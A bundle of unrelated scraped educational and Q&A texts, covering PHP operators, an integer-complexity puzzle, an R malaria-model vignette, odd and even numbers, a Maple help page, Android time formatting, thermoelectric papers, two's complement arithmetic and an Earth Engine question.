true x=6 y=3 (x==6 or y==5) returns true x xor y Xor True if either x or y is true, but not both x=6 y=3 (x==6 xor y==3) returns false x && y And True if both x and y are true x=6 y=3 (x < 10 && y > 1) returns true x || y Or True if either or both x and y are true x=6 y=3 (x==5 || y==5) returns false ! x Not True if x is not true x=6 y=3 !(x==y) returns true\n\n### Array Operators\n\n• Array operators are used to manipulate and perform different operations on array such as joining, equality check etc.\n• Some examples are as follow:\n Operator Name Description x + y Union Union of x and y x == y Equality True if x and y have the same key/value pairs x === y Identity True if x and y have the same key/value pairs in the same order and of the same types x != y Inequality True if x is not equal to y x <> y Inequality True if x is not equal to y x !== y Non-identity True if x is not identical to y\n\n### Concatenate Operator\n\nIn PHP we can use period (“.”) operator as a concatenate operator to join two strings.\n\nFor example:\n\n``````\\$str1 = \"Hello\" ;\n\\$str2 = \"Welcome!\" ;\n\necho \\$str2 . \\$str1 ;``````\n• The above code will display “Hello Welcome!” by joining two strings str1 and str2." ]

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[ "Integer chemistry III", null, "Integers, like molecules, are built from atoms. However there's only one element in the periodic table of maths, namely the number 1, and all other integers can be built from it. For example, there are several ways to build the number 6:\n\n$6 = 1+1+1+1+1+1 \\\\ = (1+1)*(1+1)+1+1 \\\\ = (1+1)*(1+1+1)$\n\nWe say the number 6 has complexity 5, because that's the cheapest (using the fewest ones) way it can be built. The allowed operations are addition, multiplication and brackets. It's not allowed to write two ones next to each other to make 11.\n\nWhat's the smallest number with complexity 13?\n\nThis is the final problem in a series of 3. You are encouraged to solve the previous problems first.\n\n×" ]

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[ "library(malariasimulation)\nlibrary(mgcv)\n\nBegin by parameterizing the model you wish to run. Be sure to include any seasonality factors and interventions you want to include at baseline.\n\nyear <- 365\nhuman_population <- 5000\n\nparams <- get_parameters(list(\nhuman_population = human_population,\naverage_age = 8453.323, # to match flat_demog\nmodel_seasonality = TRUE, # assign seasonality\ng0 = 0.284596,\ng = c(-0.317878, -0.0017527, 0.116455),\nh = c(-0.331361, 0.293128, -0.0617547),\nprevalence_rendering_min_ages = 2 * year, # set prev age range\nprevalence_rendering_max_ages = 10 * year,\nindividual_mosquitoes = FALSE))\n\n# set species / drugs / treatment parameters\nparams <- set_species(params, species = list(arab_params, fun_params, gamb_params),\nproportions = c(0.25, 0.25, 0.5))\nparams <- set_drugs(params, list(AL_params))\nparams <- set_clinical_treatment(params, 1, c(1), c(0.45))\n\nNow run malariasimulation over a range of EIRs. The goal is to run enough points to generate a curve to which you can match PfPR2-10 to EIR effectively.\n\n# loop over malariasimulation runs\ninit_EIR <- c(0.01, 0.1, 1, 5, 10, 25, 50) # set EIR values\n\n# run model\noutputs <- lapply(\ninit_EIR,\nfunction(init) {\np_i <- set_equilibrium(params, init)\nrun_simulation(5 * year, p_i) # sim time = 5 years\n}\n)\n\n# output EIR values\nEIR <- lapply(\noutputs,\nfunction(output) {\nmean(\nrowSums(\noutput[\noutput$timestep %in% seq(4 * 365, 5 * 365), # just use data from the last year grepl('EIR_', names(output)) ] / human_population * year ) ) } ) # output prev 2-10 values prev <- lapply( outputs, function(output) { mean( output[ output$timestep %in% seq(4 * 365, 5 * 365),\n'n_detect_730_3650'\n] / output[\noutput$timestep %in% seq(4 * 365, 5 * 365), 'n_730_3650' ] ) } ) # create dataframe of initial EIR, output EIR, and prev 2-10 results EIR_prev <- cbind.data.frame(init_EIR, output_EIR = unlist(EIR), prev = unlist(prev)) Now plot your results! Code is included to compare the results of matching PfPR2-10 to EIR based on malariaEquilibrium (blue line) versus matching based on parameterized malariasimulation runs (red line). Notice that the generated points do not form a smooth curve. We ran malariasimulation using a population of just 5,000. Increasing the population to 10,000 or even 100,000 will generate more accurate estimates, but will take longer to run. # calculate EIR / prev 2-10 relationship from malariaEquilibrium eir <- seq(from = 0.1, to = 50, by=.5) eq_params <- malariaEquilibrium::load_parameter_set(\"Jamie_parameters.rds\") prev <- vapply( # calculate prevalence between 2:10 for a bunch of EIRs eir, function(eir) { eq <- malariaEquilibrium::human_equilibrium( eir, ft=0, p=eq_params, age=0:100 ) sum(eq$states[2:10, 'pos_M']) / sum(eq$states[2:10, 'prop']) }, numeric(1) ) prevmatch <- cbind.data.frame(eir, prev) # calculate best fit line through malariasimulation data fit <- predict(gam(prev~s(init_EIR, k=5), data=EIR_prev), newdata = data.frame(init_EIR=c(0,seq(0.1,50,0.1))), type=\"response\") fit <- cbind(fit, data.frame(init_EIR=c(0,seq(0.1,50,0.1)))) # plot plot(x=1, type = \"n\", frame = F, xlab = \"initial EIR\", ylab = expression(paste(italic(Pf),\"PR\"[2-10])), xlim = c(0,50), ylim = c(0,.7)) points(x=EIR_prev$init_EIR,\ny=EIR_prev$prev, pch = 19, col = 'black') lines(x=fit$init_EIR,\ny=fit$fit, col = \"red\", type = \"l\", lty = 1) lines(x=prevmatch$eir,\ny=prevmatch$prev, col = \"blue\", type = \"l\", lty = 1) legend(\"bottomright\", legend=c(\"malariasimulation\", \"malariaEquilibrium\"), col=c(\"red\", \"blue\"), lty = c(1,1), cex=0.8)", null, "Now extract values from the fitted line to generate EIR estimates at your desired PfPR2-10 values. # Pre-intervention baseline PfPR2-10 starting at values 10, 25, 35, 55 PfPR <- c(.10, .25, .35, .45) # match via stat_smooth predictions match <- function(x){ m <- which.min(abs(fit$fit-x)) # index of closest prev match\nfit[m,2] # print match\n\n}\n\neir <- unlist(lapply(PfPR, match))\n\ncbind.data.frame(PfPR, eir)\n#> PfPR eir\n#> 1 0.10 2.3\n#> 2 0.25 7.9\n#> 3 0.35 18.6\n#> 4 0.45 40.5" ]

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[ "# Investigate and use the properties of odd and even numbers (ACMNA071)\n\nLO: To investigate the properties of odd and even numbers\nKnow:\n\n• Definition of odd and even numbers\n• How to skip count\n\nUnderstand:\n\n• Numbers can be classified as odd or even\n\nDo:\n\n• I can find the properties of odd and even numbers.\n\nOdd and Even Numbers\nEven numbers can be divided evenly into 2 groups with no left over pieces.\n\nThey always end in 0, 2, 4, 6, or 8.", null, "", null, "", null, "Odd numbers can’t be evenly divided evenly into 2 groups and will always have a remainder when split into 2 groups.\n\nThey always end in 1, 3, 5, 7, or 9.", null, "", null, "", null, "Odd and even numbers alternate with each other.\n\nAn odd number is always followed by an even number.", null, "## Odd and Even Number Rules\n\n• Odd number + Odd number = Answer is always an even number\n• Even number + Even number = Answer is an always even number\n• Odd number + even number = Answer is always an odd number\n• Odd number – Odd number = Answer is always an even number\n• Even number – Even number = Answer is an always even number\n• Odd number – even number = Answer is always an odd number\n\n# Teaching Ideas", null, "" ]

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[ "", null, "Taylor - Maple Help\n\nStudent[NumericalAnalysis]\n\n Taylor\n numerically approximate the solution to a first order initial-value problem with the Taylor Method", null, "Calling Sequence Taylor(ODE, IC, t=b, opts) Taylor(ODE, IC, b, opts)", null, "Parameters\n\n ODE - equation; first order ordinary differential equation of the form $\\frac{ⅆ}{ⅆt}\\phantom{\\rule[-0.0ex]{0.4em}{0.0ex}}y\\left(t\\right)=f\\left(t,y\\right)$ IC - equation; initial condition of the form y(a)=c, where a is the left endpoint of the initial-value problem t - name; the independent variable b - algebraic; the point for which to solve; the right endpoint of this initial-value problem opts - (optional) equations of the form keyword=value, where keyword is one of numsteps, output, comparewith, digits, order, or plotoptions; options for numerically solving the initial-value problem", null, "Options\n\n • comparewith = [list]\n A list of method-submethod pairs; the method specified in the method option will be compared graphically with these methods. This option may only be used if output is set to either plot or information.\n It must be of the form\n comparewith = [[method_1, submethod_1], [method_2, submethod_2]]\n If either method lacks applicable submethods, the corresponding submethod_n entry should be omitted.\n Lists of all supported methods and their submethods are found in the InitialValueProblem help page, under the descriptions for the method and submethod options, respectively.\n • digits = posint\n The number of digits to which the returned values will be rounded (using evalf). The default value is 4.\n • numsteps = posint\n The number of steps used for the chosen numerical method. This option determines the static step size for each iteration in the algorithm. The default value is 5.\n • order = posint\n The order of the Taylor polynomial used. The default value is 3.\n • output = solution, Error, plot, information\n Controls what information is returned by this procedure. The default value is solution:\n – output = solution returns the computed value of $y\\left(t\\right)$ at $t$ = b;\n – output = Error returns the absolute error of $y\\left(t\\right)$ at $t$ = b;\n – output = plot returns a plot of the approximate (Taylor) solution and the solution from one of Maple's best numeric DE solvers; and\n – output = information returns an array of the values of $t$, Maple's numeric solution, the approximations of $y\\left(t\\right)$ as computed using this method and the absolute error between these at each iteration.\n • plotoptions = list\n The plot options. This option is used only when output = plot is specified.", null, "Description\n\n • Given an initial-value problem consisting of an ordinary differential equation ODE, a range a <= t <= b, and an initial condition y(a) = c, the Taylor command computes an approximate value of y(b) by expanding y(t) into a Taylor polynomial at each step along the interval.\n • If the second calling sequence is used, the independent variable t will be inferred from ODE.\n • The endpoints a and b must be expressions that can be evaluated to floating-point numbers. The initial condition IC must be of the form y(a)=c, where c can be evaluated to a floating-point number.\n • The Taylor command is a shortcut for calling the InitialValueProblem command with the method = taylor option.", null, "Notes\n\n • To approximate the solution to an initial-value problem using a method other than the Taylor Method, see InitialValueProblem.", null, "Examples\n\n > $\\mathrm{with}\\left(\\mathrm{Student}\\left[\\mathrm{NumericalAnalysis}\\right]\\right):$\n > $\\mathrm{Taylor}\\left(\\mathrm{diff}\\left(y\\left(t\\right),t\\right)=\\mathrm{cos}\\left(t\\right),y\\left(0\\right)=0.5,t=3\\right)$\n ${0.6235}$ (1)\n > $\\mathrm{Taylor}\\left(\\mathrm{diff}\\left(y\\left(t\\right),t\\right)=y\\left(t\\right)+{t}^{2},y\\left(1\\right)=3.10,t=4,\\mathrm{order}=5,\\mathrm{output}=\\mathrm{Error}\\right)$\n ${0.03161}$ (2)\n > $\\mathrm{Taylor}\\left(\\mathrm{diff}\\left(y\\left(t\\right),t\\right)=\\mathrm{cos}\\left(t\\right),y\\left(0\\right)=0.5,t=3,\\mathrm{output}=\\mathrm{plot}\\right)$", null, "" ]

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[ "# Using Android Calendar to get the current time\n\nI'm trying to get the current time (HH:MM:SEC:MILLISEC) in an android app. I'm using this piece of code:\n\n``````Calendar c = Calendar.getInstance();\nint time_start = c.get(Calendar.MILLISECOND);\n``````\n\n\"Field number for get and set indicating the minute within the hour. E.g., at 10:04:15.250 PM the MILLI is 250.\"\n\nI've looked through the other methods, but I couldn't find anything specifying it would output everything. Is there anyway I can get H:M:Sec:MilliSec? or do I just have to do something like\n\n``````c.get(Calendar.HOUR).get(Calendar.MINUTE).get(Calendar.SECOND).get(Calendar.MILLISECOND).\n``````\n\nYou could try with `SimpleDateFormat sdf = new SimpleDateFormat(\"HH:mm:ss.SSS\");`\n\nLike this perhaps:\n\n``````Calendar cal = Calendar.getInstance();\nSimpleDateFormat sdf = new SimpleDateFormat(\"HH:mm:ss.SSS\");\nString test = sdf.format(cal.getTime());\nLog.e(\"TEST\", test);\n``````\n\n``````SimpleDateFormat sdf = new SimpleDateFormat(\"HH:mm:ss:S\");\nI would go the `System.currentTimeMillis()` or the `new Date()` way, and put these in a SimpleDateFormat, to get exactly the output you like" ]

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[ "# Keyword: Thermoelectric Materials\n\nTotal Papers Found: 20\n• 1\n• 2\n\n## Nanostructured SnSe: hydrothermal synthesis and disorder-induced enhancement of thermoelectric properties at medium temperatures\n\nAuthor(s):\n\nNanostructured SnSe was created using hydrothermal methods and sintering in an evacuated-and-encapsulated ampoule. The effects of the synthesis and thermoelectric properties of SnSe using hydrothermal synthesis at low temperatures followed ...\n\n## Synthesis and Electronic Transport of Hydrothermally Synthesized p-Type Na-Doped SnSe\n\nAuthor(s):\n\nA series of polycrystalline Sn1-xNaxSe with x = 0.00, 0.02, 0.04, 0.10 were fabricated using hydrothermal synthesis, followed by evacuated-and-encapsulated sintering. Their thermoelectric properties were then evaluated. The Hot Disk thermal constant analyser TPS 2500 ...\n\n## Low-temperature thermoelectric characteristics of Ca32xYbxCo3.95Ga0.05O9+d (0\n\nAuthor(s):\n\nThe thermoelectric properties of Ca3-x­­YbxCo3.95Ga0.05O9+delta where x = 0.00, 0.02, 0.05, and 0.10 were determined at temperatures less than 300 K. It was determined that the partial substitution of Yb3+ for ...\n\n## High temperature thermoelectric properties of co-doped Ca3−xAgxCo3.95Fe0.05O9+delta (0\n\nAuthor(s):\n\nThe thermoelectric properties of the co-doped misfit-layered cobaltites of Ca3-x­AgxCo3.95Fe­0.05O9+delta (x=0.0, 0.1, 0.2, 0.3) were investigated at temperatures between 300 and 700 K. It was found that the thermopower increased ...\n\n## Thermoelectric Properties of Ca1−xGdxMnO3−delta (0.00, 0.02, and 0.05) Systems\n\nAuthor(s):\n\nThe thermoelectric properties of the Ca1-xGdxMnO3-delta system where x= 0.00, 0.02, and 0.05 were evaluated. It was determined that the sample with the lowest electrical resistivity was the Ca0.95Gd0.05MnO3...\n\n## Effects of Reaction Temperature on Thermoelectric Properties of p-Type Nanostructured Bi2−x Sb x Te3 Prepared Using Hydrothermal Method and Evacuated-and-Encapsulated Sintering\n\nAuthor(s):\n\nBi2-xSbxTe3 thermoelectric materials, where x = 1.52 and 1.55 were prepared and evaluated for their thermoelectric properties. Three samples in total were prepared, two with x = 1.52 and 1.55 were synthesized at 140oC and ...\n\n## Thermoelectric properties of Ca3-xEuxCo3.95Ga0.05O9+delta (0\n\nAuthor(s):\n\nThe partial replacement of Ca2+ ions with Eu3+ in the Ca3Co3.95Ga0.05O9+delta system to give polycrystalline samples of Ca3-xEuxCo3.95Ga0.05O9+delta (x = 0.00, 0.02, and 0.10) was performed ...\n\n## Thermoelectric properties of Ca3−xEuxCo4O9+delta (0\n\nAuthor(s):\n\nThe partial replacement of Ca2+ ions with Eu3+ in the Ca3Co3.95Ga0.05O9+delta system to give polycrystalline samples of Ca3-xEuxCo4O9+delta (x = 0.00, 0.05, and 0.10) was performed in ...\n\n## Thermoelectric and magnetic properties of Ca3Co4–xCuxO9 + delta with x = 0.00, 0.05, 0.07, 0.10 and 0.15\n\nAuthor(s):\n\nThe thermoelectric and magnetic properties of the Ca3Co4-xCuxO9+delta system where x = 0, 0.05, 0.07, 0.10, and 0.15 were investigated as materials of this type have potential for use in thermoelectric generators. The ...\n\n## Correlation Between the Electronic Structure and the Thermoelectric Properties of Gd-Doped CaMnO3−delta\n\nAuthor(s):\n\nThe effects of the substitution of Ca with Gd in the Ca1-xGdxMnO3-delta system were investigated. It was determined that the partial substitution of Gd resulted in decreased resistivity ...\n\n• 1\n• 2" ]

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[ "# Discussion, chapter 2 q&a, chapter 3 q&a\n\ndiscussion:\n\nWhat’s simple random sampling? Is it possible to sample data instances using a distribution different from the uniform distribution? If so, give an example of a probability distribution of the data instances that is different from uniform (i.e., equal probability).\n\nChapter 2 Q&A: See the attachments\n\nChapet 2 video: https://www.screencast.com/t/swJSFMPlDU         (Part 1)\n\nChapter 3 Q&A: See the attachments\n\nTextbook : Read Tan, Steinbach, & Kumar – Chapter 3 – Exploring Data" ]

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[ "One of the first things we learn about computers is that they only understand 0s and 1s, or bits.\n\nWe humans, on the other hand, communicate numbers via the decimal system. This system uses digits from 0 to 9 along with plus and minus signs (+ and -) to denote positive or negative numbers.\n\nSince computers can use only two digits – 0 and 1 – engineers and mathematicians back in the day designed clever techniques for representing negative numbers and for doing arithmetic with them. Let's explore the beauty of those techniques.\n\n## First, some background on how computers work\n\nSoftware, images, text, videos, numbers and everything in between are 0s and 1s at the lowest level in our computer.\n\nFor images, text, videos and numbers, we have encoding schemes that decide how these stuff will get to 0s and 1s. For example, ASCII and Unicode for text.\n\nThe software programs we code get to 0s and 1s via compilers and assemblers. Those set of 0s and 1s known as machine code (or machine instruction) are first stored in our computer's main memory (RAM) before the processor can execute them.", null, "The fetch decode execute cycle architected by Sir John von Neumann. Every digital computer follows this cycle to run machine code.\n\nThe processor starts the execution cycle by fetching the instructions from the main memory, then the control unit of the processor decodes those instructions into two parts – operation code (opcode) and operands.\n\nThe opcode decides the further action that needs to be performed like ADD (addition), JMP (jump), INC (increment) and so on. The operands are the values (or memory locations) on which that operation will be performed.\n\nThe decoded instructions are sent to the Arithmetic and Logic Unit (ALU) for execution. In the ALU, the instruction is executed based on the opcode on the operands and the result is stored back in the memory.\n\nFor example, the assembly code `ADD eax, 42` is first turned into machine code (0s and 1s) by the assembler. Then it is stored into the main memory before the fetch-decode-execute cycle can begin.\n\nWhen the fetching of the machine code for `ADD eax, 42` from the memory finishes, the instruction is decoded. The decoded output says that the opcode is `ADD` and the operands are `eax` and `42`.\n\n`eax` is a register – a memory location inbuilt into the processor that can be accessed instantaneously by the processor. The `eax` register is called an accumulator in most processors.\n\nThe `ADD eax, 42` assembly code is designed to add 42 to the current value of the `eax` register (accumulator) and stores that sum in `eax`. It is `eax = eax + 42`.\n\nSuppose that currently `eax` is 20. This means that the value of `eax` after executing `ADD eax, 42` will be 20 + 42 = 62.", null, "EDVAC was one of the earliest electronic binary computer built for the U.S. Army's Ballistics Research Laboratory. (Image source, Public Domain).\n\nThe design of early computers such as EDVAC started with the desire to make tedious mathematical calculations easier and faster.\n\nThe whole responsibility of making computers compute lay on the shoulders of adders – circuits that add two numbers. This is because sophisticated operations like subtraction, multiplication, and division utilize adders in their circuits.\n\nUltimately computers are just a fast arithmetic machines with logic capabilities. Understanding the challenges and the beauty of binary arithmetic design (of positive and especially negative integers) is one of the most fundamental concepts in a computer processor.\n\nLet's first see how decimal numbers are represented in binary and how to add two binary values. Then we will start exploring the beauty.\n\n## How the binary system works\n\nIf I tell you to read out `872500`, you will likely say 872.5K. Let's take a look at how our minds do this.\n\nWe assign the one's place to the first digit from the right, then the ten's place to the second from the right, the hundredths to the third, and so on, growing each time by power of 10.\n\nThese powers of 10 in each place are the weights of the places. The weight of the hundredth place is one hundred. We multiply the digits in each place by their place's weight and sum them all up to get a complete number.\n\nIn the above diagram, you can see that the growth of each place's weight is in the powers of 10, starting from `10^0` and going through `10^5`. That's why decimals are called a base ten system.\n\nIn binary, each place's weight grows by a power of 2. This means that the place's weight starts from `2^0` and ends at `2^something`. That's the only difference.\n\n`00110101` in decimal translates to 53. Computers interpret binary in the same way as we humans interpret decimals, that is multiplying each place's digit by its weight and summing them up.\n\n### How to add 1s and 0s\n\nAddition works in binary pretty much the same way as it's done in decimals. Let's see that through an example. We'll add two binary numbers: `1101` (13) and `1100` (12).\n\nAs we do in the decimal system, we start from the one's place (`2^0`). Adding 1 and 0 gives us 1. So we put a 1 there. Stay with me and you'll get the whole picture.\n\n0 plus 0 is 0. Moving on.\n\n1 plus 1 is 2. And 2 in binary is represented as `10`. We carry 1 to the next place and keep 0 as a result of the current place we are in. Isn't this the same as exceeding 9 in a place in decimal addition?\n\nWe have two 1s there and one 1 that was carried forward from the previous place, so there are a total of three 1s. Their sum will be 3, and in binary 3 is `11` so we write `11`. The final result comes out to be `11001` or 25 in decimal form, which is indeed 13 + 12.\n\nThe above computation assumes that we have five bits available to store the result. If a 4-bit computer does this addition, then it will only have four bits available to store the result.\n\nThat fifth bit will be called an overflow in 4-bit computers. In integer arithmetic, the overflow bit is ignored or discarded. So we would have got `1001` (9) as our result if we were using a 4-bit computer.\n\n## The beauty of binary arithmetic design\n\nTwo important terms we need to understand before we move forward are least significant bit and most significant bit.\n\nThe bit on the rightmost is the least significant bit because it has the smallest place weight (`2^0`). And the bit on the leftmost is the most significant bit as it has the highest place weight (`2^7`).\n\nIf the world only had positive numbers, then this would have been the end of this article (because we have already learned how to represent decimals in binary and how to add them in binary).\n\nThankfully, we have negative numbers, too.\n\nThe beauty of the CPU's arithmetic design rests in negativeness.\n\nSo how do computers represent negative numbers, and how does arithmetic on negative numbers work? Let's see an encoding approach to this problem.\n\nPlease note that in the below sections we will be working with a 4-bit computer to understand the concepts, meaning the fifth bit will be treated as an overflow. The same principles apply to all the CPU architectures like 16-bit, 32-bit or 64-bit to do arithmetic.\n\n### The sign magnitude encoding approach\n\n`1101` in decimal form would be -5 in this encoding scheme. The leftmost or the most significant bit is the sign bit. It tells the processor about the sign of the number – that is, whether the number is positive or negative.\n\n`0` in the sign bit represents a positive value and `1` represents a negative value. The remaining bits tells us the actual magnitude.\n\nIn `1101`, the sign bit is `1`, so the number is negative. `101` equals 5 in decimal. So `1101` will compute to -5 in decimal.", null, "All possible numbers that can be represented by four bits with sign bit encoding scheme\n\nIn the above diagram you can see all the integers that can be represented by four bits using this encoding approach. All looks good up to this point.\n\nBut if we look closely, we can see a very serious design issue in this encoding scheme. Let's face that issue.\n\nLet's add a positive and a negative number. For example we'll add +4 and -1. Our answer should be `(+4) + (-1) = (+3)` that is `0011`.\n\nSee, the result is `1101` (-5). The actual answer should be `0011` (+3). If we were to implement this approach on a processor then we would need to add logic to deal with this issue, and engineers hate additional complexity in their logic.\n\nAs we add more circuits, the power consumption increases and performance suffers.\n\nThis might sound like a trivial issue for modern transistor-based computers.\n\nBut think of early computers like EDVAC which was run on thousands of vacuum tubes consuming power in kilowatts operated by hundreds of people a day. And the government spent millions to build them.\n\nIn those days putting additional circuits and vacuum tubes meant thousands of dollars and serious maintenance trouble.\n\nSo engineers had to think of a smarter encoding design.\n\nNow, the time has come to reveal the beauty that will tackle this problem and make our system simpler, more performant, and less power hungry.\n\n### A beautiful encoding system enters and the CPU shines ❤️\n\nIn this encoding scheme, like in the previous one, the leftmost bit acts as a sign bit – but with some art involved to represent negative numbers.\n\nThe positive numbers are represented in the exact same way as the previous encoding scheme: a leading `0` followed by remaining bits for the magnitude. For example, in this encoding scheme too, 6 will be represented as `0110`.\n\nTo represent a negative number, a two step math process is run in its positive counterpart. Meaning to represent -6 we will do a two step math process on +6 to get to -6 in binary.\n\nLet's see how -6 will encode to binary:\n\nIn the previous sign magnitude approach, to calculate the negative of +6, we would have simply changed the sign bit from `0` to `1`. `0110` (+6) would become `1110` (-6).\n\nIn this new encoding scheme, we first invert the bits. Changing zeros to ones and ones to zeros. `0110` (+6) becomes `1001`. Inverting the bits is called \"one's complement\", so here we have calculated one's complement of `0110` resulting in `1001`. Then...\n\nWe add `0001` (+1) to the one's complement we got from step one (`1001`). The result `1010` will be the binary representation of -6. This encoding scheme is called two's complement. So keep in mind that calculating two's complement of a positive integer gives us its negative counterpart.\n\nInverting bits gives us the one's complement. Adding one to the one's complement gives us the two's complement of the original bits we started with. Simple, right?", null, "All possible numbers that can be represented by four bits with two's complement encoding scheme\n\nNow, let's see why this encoding scheme is so beautiful. We'll add `0100` (+4) and `1111` (-1).\n\nSee, we get the accurate result with the two's complement encoding scheme. Now we can add integers without worrying about their signs.\n\nWe've learned how a negative integer can be represented in 0s and 1s via two's complement encoding. Now suppose we execute `ADD eax, -3` and the current value in the eax register is -1. So the value in eax after the execution of `ADD eax, -3` will be -4 (which is `1100` in two's complement encoding).\n\nWhen the operating system retrieves `1100` from eax to present the result to the user, how does the operating system decode `1100` to decimal? Or suppose if we as a programmer come across `1100`, how can we figure out what number `1100` represents?\n\nOf course we cannot keep on calculating two's complement of each positive integer to see when we hit `1100`. That will be too slow.\n\nProgrammers and the OS use a beautiful property of two's complement to decode the binary into decimal.\n\nWhen we calculate two's complement of a positive number, we get its negative counterpart. Well, the reverse is also true – which means calculating two's complement of a negative number will give us its positive counterpart. We will see the why of this in a minute.\n\nFirst, let's understand how the OS or a programmer will decode `1100` to decimal.\n\nOn retrieving `1100` from the eax register, the OS sees `1` as sign bit that signals that the integer is negative. Two's complement of `1100` is calculated that gives the positive counterpart of `1100` which comes out as `0100` (+4). The OS then prepends a negative sign on the positive counterpart and returns the final answer as -4. Re-read this paragraph once again and you'll get a better understanding.\n\nThen the CPU smiles and says goodbye to the beauty for today ;)\n\nThe CPU has gone to its house to meet its mother. Now we have plenty of time to discuss the inner workings of the art of two's complement.\n\n## Why and how does two's complement encoding work?\n\nIf I tell you to find the negative of a number, say +42, what's the simplest way to find the negative of +42?\n\nArguably, the simplest way is to subtract the number from 0, right? `0 - (+42) = -42`. If we repeat this, we get back to the positive value, `0 - (-42) = +42`. This is all the math that two's complement is built upon.\n\nWe are doing `10000` (0 in decimal since the leftmost 1 is an overflow) minus `0101` (+5). We get `1011` that is -5 in decimal in two's complement encoding. Ignore how subtraction is done. That's not important. Understanding the intuition behind two's complement is important.\n\n`10000` can be written as `1111 + 0001` (try adding these two, you will get `10000`). So actually we are doing:\n\n`````` 10000 - 0101\n=> (1111 + 0001) - 0101\n``````\n\nRearranging the above equation we can write it as:\n\n`````` (1111 + 0001) - 0101\n=> (1111 - 0101) + 0001\n\nStep 1: subtract 0101 from 1111\n\n1 1 1 1\n-0 1 0 1\n---------\n1 0 1 0\n\nsee, subtracting 0101 from 1111 is equivalent\nto inverting the bits of 0101, as we got 1010 as a result.\n\nStep 2: add 0001 to the above result\n\n1 0 1 0 ---> result of step 1\n+0 0 0 1\n---------\n1 0 1 1\n\nwe get 1011 that is -5 in two's complement encoding.\n``````\n\nDid you see that the two's complement system fundamentally does 0 minus the number? Inverting the bits and adding one is a fast and clever way to subtract the number from 0.\n\nThis is the reason we get the positive of a negative number and negative of a positive number when we calculate its two's complement – because we are actually subtracting the number from 0 (`0 - number`).\n\nComputers in the 1900s used to have just the addition arithmetic logic because the two's complement encoding scheme is so beautiful that subtraction can easily be performed.\n\nFor example, to subtract 12 from 100, the CPU computes two's complement of +12 that produces -12 then we add -12 to 100 giving us the required output.\n\nWhy don't we directly subtract from 0 to find the negative of a number or vice versa in binary?\n\nBecause subtraction is a slow and complicated process (thanks to borrowing) so our computer will need an expensive subtraction circuit if we go that way. Imagine subtracting from 0 every time we want to represent a negative integer. It'll be a nightmare for us and for our computers as well!\n\nThe two's complement encoding is a more performant solution, leads to a simple circuit design, and saves a lot of money. This is because we don't need an expensive circuit for subtraction and there's no additional logic to deal with the arithmetic of + and - integers. Just plain addition and we get to do both – add and subtract.\n\nSo let's appreciate our computer designers for this beautiful encoding scheme – the two's complement ❤️.\n\n## Final words\n\nI promised myself that I would never charge for any learning material I produce. Whatever I do for education, whether it be a simple article or a course or an ebook, will always be 100% free and open.\n\nI post useful resources and share meaningful thoughts on my Twitter account. You can follow me there and send me a DM if you learned something new from this article. It'll make my day :)\n\nEvery developer, every author, and every human being learns from someone. I believe the people and resources we learn from should be cited and spread. This encourages those good ones to do more for all of us. So here are my good ones.\n\nAnimesh of mycodeschool taught me many programming concepts better than anyone else including the concepts I wrote about in this article.\n\nAndré Jaenisch, my mentor and friend, without his reviewing efforts and constant support I would not have written this article.\n\nHappy learning!" ]

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[ "# Issues converting image to numpy array in Earth Engine\n\nI am trying to build a numpy array fromm the values of an image band in GEE to export for analysis. The roi is quite large (over the South Pacific), so several images make up each day. I have adapted this code for exporting the numpy array, and used this code to produce a mosaic of all the immages for each day in the date range.\n\nMy code:\n\n``````import ee\nimport numpy as np\n\npoly = ee.Geometry.Polygon(\n[[[124, -60], [124, -10], [310, -10], [310, -60]]], None,\nFalse)\n\nstart = ee.Date('2019-12-30')\nfinish = ee.Date('2020-01-17')\n\ncollection = ee.ImageCollection(\"COPERNICUS/S5P/OFFL/L3_AER_AI\").filterDate(start, finish).select('absorbing_aerosol_index').map(lambda image: image.clip(poly))\n\n# Difference in days between start and finish\ndiff = finish.difference(start, 'day')\n\n# Make a list of all dates\n\nrange = ee.List.sequence(0, diff.subtract(1)).map(lambda day: start.advance(day,'day'))\n\n# Funtion for iteraton over the range of dates\ndef day_mosaics(date, newlist):\n\n# Cast\ndate = ee.Date(date)\nnewlist = ee.List(newlist)\n\n# Filter collection between date and the next day\n\ntimeBand = ee.Image(date.millis()) \\\n.divide(1000 * 3600 * 24) \\\n.int() \\\n.rename('t')\n\n# Make the mosaic\n\n# Add the mosaic to a list only if the collection has images\n\n# Iterate over the range to make a new list, and then cast the list to an imagecollection\nnewcol = ee.ImageCollection(ee.List(range.iterate(day_mosaics, ee.List([]))))\n# print(newcol)\n\nlistOfImages =newcol.toList(newcol.size())\nfirstImage = ee.Image(listOfImages.get(0))\nsecondImage = ee.Image(listOfImages.get(1))\n\n# convert to numpy array\n\nband_arr = band_arrs.get('absorbing_aerosol_index')\nnp_arr = np.array(band_arr_b4.getInfo())\n\n# convert to nan\n\nnp_arr[np_arr == -9999] = np.nan\n\nimport matplotlib.pyplot as plt\nplt.imshow(np_arr)\nplt.colorbar()\n``````\n\nThe output is a 50 x 186 array-I don't know the original pixel count in the image (or how to find it), but this seems too small. Furthermore, when quicly I try to visualise this array, the result is the following:", null, "It appears to be upisde-down and half of the AOI is missing.\n\nWhat am I doing wrong?" ]

[ null, "https://i.stack.imgur.com/drKNW.png", null ]

